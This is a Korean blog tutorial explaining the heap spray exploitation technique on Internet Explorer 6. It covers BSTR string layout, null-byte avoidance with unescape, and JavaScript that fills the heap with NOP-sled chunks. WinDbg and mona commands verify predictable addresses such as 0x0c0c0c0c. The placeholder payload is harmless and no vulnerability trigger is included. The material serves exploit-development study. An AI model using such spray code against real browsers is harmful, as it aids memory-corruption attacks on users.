/ POSTS

Heap Spray

0x0d Heap Spray

안녕하세요. Joel입니다.

오늘은 Heap Spray에 대해 알아보도록 하겠습니다.

What is Heap Spray?

Heap Spray는 단어 그대로 Heap 영역에 (Spray로 약을 뿌리듯) 전체적으로 골고루 Payload를 구성하는 것을 말합니다.

BOF나 UAF 등의 공격을 할 때 각종 메모리 보호기법이 적용되어 있으면, Shell Code가 위치하는 곳의 주소를 정확하게 지정할 수 없겠죠?

이때 Heap 전체에 내가 원하는 코드를 골고루 위치시켜서 예측 가능한 공간에 Payload를 구성하기 위한 기법이죠.

그래서 공격 순서는 주로 Heap Spary를 통해 Payload를 구성하고 버그/취약점을 이용해서 공격을 하고 EIP가 내가 구성해놓은 Payload가 있는 곳을 가르키도록 합니다.

오늘은 Internet Explorer 6을 가지고 기초 개념을 익힌 다음, 최신 버전으로 조금씩 업그레이드 해볼게요.

(브라우저를 가지고 진행하는 이유는 자바스크립트나 VB스크립트를 이용해서 메모리에 데이터 삽입을 쉽게 할 수 있다는 이점이 있기 때문입니다. 하지만, 브라우저에서만 할 수 있는게 아니라는 점도 같이 기억해둡시다.)

기본 원리
문자열 할당

브라우저 메모리에 특정 데이터를 할당시키는 가장 기본적인 방법은 자바스크립트를 이용해서 변수를 생성하고 값을 할당하는 것입니다.

먼저, 아래와 같이 코드를 구성하고 Heap 메모리에 데이터를 할당해보겠습니다.

<html>
<body>
<script language="javascript">
	var str = "HACK";
		
	alert("Alloc Done!");
</script>
</body>
</html>

이 코드를 브라우저에서 실행시킨 다음 Immunity Debugger로 어떻게 할당되는지 살펴보겠습니다.

Immunity에서 File > Attach > Internet Explorer로 Attach를 한 뒤,

!mona find -s "HACK" -unicode -x *

명령을 사용하면 해당 값을 확인할 수 있습니다.

[그림 1-1]

위 값을 보면 HACK이라는 값이 들어가 있는 것을 확인할 수 있죠?

그런데 여기에 우리가 좀 더 살펴봐야할 점들이 있습니다.

먼저, “HACK”이라는 값은 들어갔는데 48 00 41 00 43 00 4B 00이네? 값 사이에 Null이 있는데 어떻게 Payload를 구성하지?

이건 해당 값이 유니코드 형식으로 변환되기 때문인데 이를 이해하려면 먼저 BSTR 문자열 객체를 이해해야 합니다.

BSTR?
BSTR Header 문자열 값 Null Terminator
4 Byte String * 2 Byte 2 Byte

사실 문자열이 할당되면 이 문자열은 BSTR 문자열 객체로 변환됩니다. 이 객체는 헤더+문자열+종단값 형식으로 구성되어 있습니다.

문자열이 BSTR 문자열 객체로 변환되게 되면 기존 값이 유니코드 형식의 값으로 변형되어 저장되는 특징이 있습니다.

그래서 예제에서 넣은 “HACK”이라는 문자열이 “48 00 41 00 43 00 4B 00”로 변환되어 저장되는 것이죠.

그리고 위에서 헤더와 종단값을 가진다고 했는데 헤더는 변환된 문자열의 길이를 나타내는 4바이트 값입니다.

종단값은 이 객체의 끝을 나타내기 위해 “00 00” 2바이트 값으로 구성되어 있습니다.

앞에서 사용한 예제를 BSTR 객체 전체가 보이게 나타낸 그림입니다.

[그림 1-3]

HACK 문자열이 “48 00 41 00 43 00 4B 00”로 변환되니까 헤더 값이 08 00 00 00(리틀엔디안)인 것도 보입니다.

이제 BSTR 구조는 이해가 되시죠?

아 그럼 유니코드 형식으로 바뀌기 때문에 그렇다는건 이해하겠는데 Null은 어떻게 해결할건가요??

Null?

다행히도 자바스크립트에 unescape 함수를 사용하면 아주 쉽게 해결이 됩니다.

unescape 함수는 인코딩된 문자를 디코딩하는 역할을 수행합니다.

그래서 이 함수에게 문자열을 전달할 때 해당 문자열이 원래 유니코드임을 알려주면 이 함수는 해당 내용을 유니코드로 변환하지 않게 됩니다.

코드는 다음과 같이 변환했습니다.

<html>
<body>
	<script language="javascript">
		var str = unescape('%u4148%u4B43');
		
		alert("Alloc Done!");
	</script>
</body>
</html>

이 코드를 실행한 뒤 이번에는 Windbg로 메모리 값을 살펴보겠습니다.

s -a 0x00000000 L?0x7fffffff "HACK"
[그림 1-4]

먼저, 헤더부분을 보면 08 00 00 00에서 04 00 00 00으로 변환된 것을 확인할 수 있습니다.

그리고 본문을 살펴보면 우리가 걱정했던 NUll이 모두 사라진 것을 확인할 수 있습니다.

이제 Null 문제도 해결되었으니 본격적으로 Spray를 해보도록 하겠습니다.

Spray

Heap Spray는 Heap 전체에 내가 원하는 코드를 골고루 위치시켜서 예측 가능한 공간에 Payload를 구성하기 위한 기법이라고 했었죠?

Payload는 다수의 NOP과 Shell Code의 조합으로 한 덩어리를 구성할 겁니다.

이 덩어리들을 반복적으로 여러개를 할당해서 힙 메모리 전역에 할당해준다면 어떻게 될까요?

그럼 EIP를 제어할 때 쉘코드를 담고 있는 덩어리가 있는 곳으로 보낼 수 있겠죠.

위치가 조금 다르다고 해도 NOP으로만 점프하도록 만들 수 있다면, Shell Code가 실행될 수 있을 겁니다.

Spray 수행을 위해 다음과 같이 코드를 구성했습니다.

<html>
<script>

ShellCode = unescape('%u4148%u4B43');

chunk = '';
chunksize = 0x1000;
num_chunk = 200;

for(count=0; count < chunksize; count++){

	chunk += unescape('%u9090%u9090');
}
chunk = chunk.substring(0,chunksize - ShellCode.length);
testArr = new Array();

for (count=0; count < num_chunk; count++){
 testArr[count] = ShellCode + chunk;
}

alert("Spray Done!");
</script>
</html>

한 덩어리의 크기가 0x1000인 덩어리(NOP+Shellcode) 200개를 메모리에 할당하도록 구성된 코드입니다.

시작 위치를 살펴보기 쉽게 하기 위해서 ShellCode+NOP 형태로 구성하였습니다.

코드를 실행한 후 Windbg로 살펴보겠습니다.

[그림 1-6]

“HACK” + NOP 200개가 출력되는 것이 보이네요.

이번에는 다음 명령어로 전체 힙의 정보를 살펴보도록 할게요.

!heap -stat
[그림 1-7]

출력되는 값들 중 맨 위 기본 힙의 사용량(Committed bytes)이 가장 많은 게 보이네요.

그럼 우리가 입력한 값들이 힙에 얼마정도가 할당되어 뿌려졌는지 확인해보겠습니다.

!heap -stat -h 0x140000
[그림 1-8]

0x2010 크기로 c1 횟수만큼 무엇인가 할당이 되었고 70.11%를 차지하고 있다는 통계 내용을 확인할 수 있습니다.

저 값이 내가 할당한 값이 맞는지 확인해봐야겠죠?

!heap -flt s 0x2010

위 명령어는 heap에 0x2010 크기로 할당된 힙 chunk들을 찾아서 보여줍니다.

[그림 1-9]

찾아진 힙 chunk 중 하나의 주소값을 덤프해보겠습니다.

[그림 1-10]

0x001cd370(Heap_Entry) 주소를 출력하니 힙 header(8 bytes) + BSTR 객체 header(4 bytes) + “HACK” + NOP이 보입니다.

그런데 0x2010만큼 떨어진 곳의 값을 확인하니 전혀 다른 값들이 들어있는 것을 확인할 수 있죠?

즉, 우리가 원하는 값이 연속적으로 할당된 것이 아니라 사이에 빈 공간이 존재한다는 것입니다.

우리가 이제 해야할 것은 이 빈 공간을 줄여서 Exploit의 신뢰도를 높여야 합니다.

이를 위해 코드를 다음과 같이 수정했습니다.

<html>
<script>

Shellcode = unescape('%u4148%u4B43');

chunk = '';
chunksize = 0x40000;
num_chunk = 500;

for(count=0; count < chunksize; count++){

	chunk += unescape('%u9090%u9090');
}
chunk = chunk.substring(0,chunksize - Shellcode.length);
testArr = new Array();

for (count=0; count < num_chunk; count++){
 testArr[count] = Shellcode + chunk;
}

alert("Spray Done!");
</script>
</html>

chunk 크기를 0x40000으로 늘리고 chunk의 개수를 500개로 늘렸습니다.

이를 실행한 후 다시 위 과정을 반복해보면 다음과 같습니다.

[그림 1-12]

0x80010 크기로 1f5개가 할당되었고 99.33%만큼 힙에 뿌려진 것을 알 수 있습니다.

!heap -flt s 0x80010

위 명령어로 0x80010 크기만큼 할당된 영역을 다시 확인해보면 아래와 같습니다.

[그림 1-13]

이 중 아무 위치나 선택해서 덤프해보겠습니다.

[그림 1-14]

0x80010만큼 할당되었다고 했기에 0x80000 위치쯤을 확인해보니 chunk 사이에 여전히 빈 공간이 남아있는 것을 알 수 있습니다.

!heap -flt s 0x080010으로 출력되었던 주소 간의 거리를 구해서 다시 출력해보니 아래와 같이 잘 출력이 되는 것이 보이네요.

[그림 1-15]

역시나 빈 공간이 생긴다는 것은 어쩔 수 없는 것 같습니다.

하지만!! 우리가 할당한 각 chunk의 크기가 워낙 크고 많기 때문에 이 정도 수치는 무시하셔도 좋습니다.

예측 가능한 주소
d 0c0c0c0c

위 명령어로 0c0c0c0c, 0a0a0a0a 등 예측 가능한 주소를 덤프해봅시다.

[그림 1-16]

위와 같이 NOP이 위치하는 것을 알 수 있습니다. 이는 한 번 출력되었다고 해서 사용할 수 있는 것은 아니며,

반복적으로 덤프해본 후, 신뢰할만한 주소인지 확인해야 합니다.

위 주소에 늘 NOP이 위치한다면 Exploit 때 신뢰할 수 있는 ShellCode의 주소로 사용할 수 있습니다.

지금까지 기본적인 HeapSpray에 대해서 알아봤습니다.

다음 글부터는 지금까지 설명한 취약점들을 종합해서 IE8, IE10, IE11 Exploit을 살펴보도록 하겠습니다.